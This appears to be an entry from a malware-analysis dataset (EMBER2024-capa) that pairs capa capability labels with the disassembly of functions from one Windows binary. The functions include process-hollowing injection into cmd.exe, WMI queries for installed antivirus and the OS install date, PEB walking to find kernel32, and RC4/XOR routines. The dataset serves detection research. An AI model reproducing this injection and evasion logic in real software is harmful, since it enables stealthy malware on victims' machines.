joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4112ec
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x4113b2
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00425490
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x437615
push str.C:WindowsSystem32cmd.exe
call dword [0x641c90]
test eax, eax
je 0x4113b0
push edi
push 0x1000
push edi
push ebx
call dword [0x641d4c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4113b0
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x4113b7
push dword [ebp - 0x20]
call dword [0x641e00]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x411411
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x4113da
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x641e00]
mov eax, dword [ebp - 0x1c]
jmp 0x4113b2
Function at 0x413463
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x430b03
call fcn.00430989
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x433ea0
push 1
push edi
push 0x433f70
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x4135cd
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x437e8c
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x4135c6
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x4135c0
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x4135c0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.004133b3
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x641df0]
push eax
call dword [0x641d80]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x641c00]
add esp, 0x20
push edi
call fcn.00412143
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x4135eb
or dword [ebp - 4], 0xffffffff
jmp 0x4135e1
push 0x437f08
jmp 0x4135e6
push 0x437f10
jmp 0x4135e6
push 0x437f18
call fcn.00412143
mov eax, esi
call fcn.004309e5
ret
Function at 0x4135f3
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x430ae8
call fcn.0043091d
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x433ea0
push 1
push edi
push 0x433f70
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x4136fc
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x437f8c
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x4136f5
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x4136ef
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x4136ef
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.0041399e
pop ecx
push eax
call fcn.00412143
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x41371a
or dword [ebp - 4], 0xffffffff
jmp 0x413710
push 0x437fac
jmp 0x413715
push 0x437fb4
jmp 0x413715
push str.Unknown
call fcn.00412143
mov eax, esi
call fcn.004309c2
ret

Function at 0x413f47
Capabilities:
Enumerate process modules

Disassembly:
push 0x118
mov eax, 0x430ac0
call fcn.00430989
mov eax, dword [ebp + 8]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11c], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, str._unknown_
lea edi, [ebp - 0x118]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xfa
push ebx
lea eax, [ebp - 0x10e]
push eax
call fcn.00425490
add esp, 0xc
push dword [ebp - 0x11c]
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x413fdd
lea eax, [ebp - 0x124]
push eax
push 4
lea eax, [ebp - 0x11c]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x413fdd
push 0x104
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x11c]
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
mov esi, dword [ebp - 0x120]
call fcn.00412143
mov eax, esi
call fcn.004309e5
ret
Function at 0x414387
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x43780a
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x43780b
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret

Function at 0x414841
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x43760e
call fcn.00412143
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00412175
call fcn.0040515f
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x4149ac
push 0x43760f
lea esi, [ebp - 0xc]
call fcn.00412143
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.004138a6
push 0x437744
push dword [0x6419d0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00412265
lea esi, [ebp - 0x30]
call fcn.00412265
lea esi, [ebp - 0x48]
call fcn.00412223
lea esi, [ebp - 0x3c]
call fcn.00412265
lea esi, [ebp - 0xc]
call fcn.004121e9
mov eax, dword [ebp - 0x3c]
call fcn.00402910
mov eax, dword [ebp - 0x48]
call fcn.00402910
mov eax, dword [ebp - 0x30]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
mov eax, dword [ebp - 0x18]
call fcn.00402910
push 0x1c00
push 0x43ecc0
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00412175
call fcn.0041428c
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00425490
add esp, 0xc
push 0x437750
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00412265
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.00412223
lea esi, [ebp - 0xc]
call fcn.004121e9
mov eax, dword [ebp - 0x18]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x8000020
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402910
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cce
mov eax, dword [ebp + 8]
call fcn.00402910
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.004112ec
pop ecx
test eax, eax
jne 0x414992
inc edi
cmp edi, 0x64
jl 0x4149ae
xor edi, edi
jmp 0x414995
Function at 0x416e7f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x437a70
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x641d1c]
xor esi, esi
inc esi
test eax, eax
je 0x416ecb
mov dword [ebp - 0x460], esi
push ebx
push 0x437a80
push dword [ebp + 0x80]
call dword [0x641d1c]
test eax, eax
je 0x416eed
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x417013
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x417083
jmp 0x416f15
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00425490
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x416f58
cmp eax, 2
jne 0x416f58
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x641e38]
mov ebx, str._DRIVE_REMOVABLE_
jmp 0x416f70
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x641e38]
mov ebx, str._DRIVE_FIXED_
push esi
lea eax, [ebp - 0x45c]
call fcn.00413d6a
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x641e38]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401ced
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43767f
push dword [ebp - 0x468]
call fcn.00416a05
add esp, 0x94
push esi
call dword [0x641ca4]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x416f13
jmp 0x417081
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401ced
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43768d
push dword [ebp - 0x46c]
call fcn.00416a05
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cce
lea ecx, [ebp + 0x74]
call fcn.004170aa
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret
Function at 0x418be6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00418cbf
test byte [0x641bd0], 1
mov eax, dword [ebp + 0x40]
je 0x418c05
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.004121e9
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.004121e9
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.004121e9
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.004121e9
mov esi, 0x3e8
jmp 0x418c53
push esi
call dword [0x641c18]
cmp dword [0x641bd0], 2
jae 0x418c4c
inc dword [0x641bd0]
cmp dword [0x641bcc], edi
je 0x418c78
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041e4ae
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x418b15
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x437753
call fcn.00412143
lea esi, [ebp - 0x48]
call fcn.00418ce6
lea esi, [ebp + 0x1c]
call fcn.00401cce
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x418d90
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58c
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x320]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x418f83
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x428]
push str._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x568]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x56c], eax
cmp eax, 0xffffffff
je 0x418f83
mov esi, dword [sym.imp.msvcrt.dll__mbscmp]
lea eax, [ebp - 0x53c]
push 0x437c60
push eax
call esi
pop ecx
pop ecx
test eax, eax
je 0x418f5c
lea eax, [ebp - 0x53c]
push 0x437c64
push eax
call esi
pop ecx
pop ecx
test eax, eax
je 0x418f5c
xor eax, eax
mov cl, byte [ebp + eax - 0x53c]
mov byte [ebp + eax - 0x110], cl
inc eax
cmp cl, bl
jne 0x418e39
test byte [ebp - 0x568], 0x10
jne 0x418e84
push ebx
lea eax, [ebp - 0x218]
push eax
push ebx
lea eax, [ebp - 0x53c]
push ebx
push eax
call dword [sym.imp.msvcrt.dll__splitpath]
add esp, 0x14
xor eax, eax
mov cl, byte [ebp + eax - 0x218]
mov byte [ebp + eax - 0x110], cl
inc eax
cmp cl, bl
jne 0x418e71
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418e8d
sub eax, edx
mov esi, eax
lea eax, [esi - 6]
cmp eax, 6
ja 0x418f5c
xor edi, edi
cmp esi, ebx
jbe 0x418ec7
movsx eax, byte [ebp + edi - 0x110]
push eax
call dword [sym.imp.msvcrt.dll__ismbcupper]
pop ecx
test eax, eax
je 0x418f5c
inc edi
cmp edi, esi
jb 0x418eaa
lea eax, [ebp - 0x53c]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x110]
push 0x437c68
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 6
xor eax, eax
mov dword [ebp - 0x58c], ebx
pop ecx
lea edi, [ebp - 0x588]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x588], 3
xor eax, eax
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
cmp cl, bl
jne 0x418f0b
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x418f27
sub eax, edx
mov byte [ebp + eax - 0x217], bl
lea eax, [ebp - 0x218]
mov dword [ebp - 0x584], eax
mov eax, 0x614
mov word [ebp - 0x57c], ax
lea eax, [ebp - 0x58c]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
lea eax, [ebp - 0x568]
push eax
push dword [ebp - 0x56c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x418e01
push dword [ebp - 0x56c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret
Function at 0x419d79
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41bdd0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41bdfe
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00425490
mov eax, ebx
movzx ecx, word [eax*8 + 0x4371b2]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x4371b0]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x4371b4]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x4371b6]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41be61
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41be6d
cmp ebx, 8
jl 0x41be6d
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41bed2
cmp eax, 0xffffffff
je 0x41bed2
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41bead
call fcn.0041c028
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41beb5
jmp 0x41bee2
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41c139
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41c337
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41c1b3
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41c1f6
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41c1f6
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41c1dd
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
mov edx, esi
call fcn.0041bee7
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
cmp ebx, eax
jbe 0x41c1f6
mov ebx, eax
cmp ebx, 3
jb 0x41c2b7
mov edx, dword [esi + 0x6af84]
sub edx, dword [esi + 0x6af88]
lea ecx, [ebx - 3]
mov eax, esi
call fcn.0041b86e
sub dword [esi + 0x6af90], ebx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41c284
cmp eax, 3
jb 0x41c284
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41c232
jmp 0x41c2d7
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41c2dd
mov eax, dword [esi + 0x6af84]
movzx ecx, byte [eax + esi + 0x1af70]
xor edx, edx
mov eax, esi
call fcn.0041b86e
dec dword [esi + 0x6af90]
mov dword [ebp - 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp - 8], 0
je 0x41c318
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41c2f6
lea edx, [ecx + esi + 0x1af70]
jmp 0x41c2f8
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 0
sub eax, ecx
push edx
mov ecx, esi
call fcn.0041b6f1
mov eax, dword [esi + 0x6af84]
pop ecx
pop ecx
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41c329
call fcn.0041c028
cmp dword [esi + 0x6af90], 0
jne 0x41c163
pop edi
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41c34a
lea edx, [ecx + esi + 0x1af70]
jmp 0x41c34c
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 1
sub eax, ecx
push edx
mov ecx, esi
call fcn.0041b6f1
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x41cef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x41ceff
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41cfb3
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x437200]
add ecx, 8
sub edi, 8
dec esi
jne 0x41cf16
pop ebx
test edi, edi
je 0x41cfcc
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x437200]
inc ecx
dec edi
jne 0x41cfb7
pop esi
not eax
pop edi
ret

Function at 0x41cfd1
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x437200]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x437200]
pop esi
mov dword [ecx + 8], eax
ret